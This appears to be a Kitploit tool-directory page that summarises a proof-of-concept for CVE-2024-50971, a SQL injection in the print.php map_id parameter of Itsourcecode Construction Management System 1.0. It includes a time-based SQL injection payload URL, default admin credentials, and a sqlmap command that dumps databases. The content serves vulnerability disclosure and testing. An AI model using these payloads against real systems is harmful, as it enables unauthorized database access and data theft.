Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-50971 — Proof-of-concept for CVE-2024-50971, a SQL injection vulnerability in Itsourcecode Construction Management System 1.0, with exploitation steps and SQLMap commands. | Kitploit
Tools/GitHubGitHub/akhlak2511/cve-2024-50971
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubakhlak2511/cve-2024-50971

CVE-2024-50971

Proof-of-concept for CVE-2024-50971, a SQL injection vulnerability in Itsourcecode Construction Management System 1.0, with exploitation steps and SQLMap commands.

View Repository
21 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-50971

Description

A SQL injection vulnerability in print.php of Itsourcecode Construction Management System 1.0 allows remote attackers to execute arbitrary SQL commands via the map_id parameter.

Vulnerability Type

SQL Injection

Vendor of Product

Itsourcecode

Affected Product Code Base:

https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/ - 1.0

Affected Component:

The Itsourcecode Construction Management System v1.0 is vulnerable to SQL injection through the map_id parameter in the print.php page.

Attack Vectors:

  1. Set up the application locally, register an account, and log in with the admin credentials as admin:admin
  2. Navigate to the following URL in your browser: http://localhost/monitoring_system/print.php?map_id=67
  • Inject SQL Payload: Modify the map_id parameter in the URL to include a time-based SQL injection payload. http://localhost/monitoring_system/print.php?map_id=67'+AND+(SELECT+1386+FROM+(SELECT(SLEEP(15)))LhJj)--+byxm
  • Observe the Application Response: The page should take noticeably longer (15 seconds) to load if the injection is successful, confirming that the map_id parameter is vulnerable to SQL injection.
  • Now use the SQLMap tool for further exploitation and dumping databases using the below command: sqlmap.py -u http://localhost/monitoring_system/print.php?map_id=67 --risk 3 --level 3 --cookie="PHPSESSID=your_cookie_here" --dbs --technique=T --dump --no-cast

    • Reference:

    1. https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/
    2. https://owasp.org/www-community/attacks/SQL_Injection
    Download Tool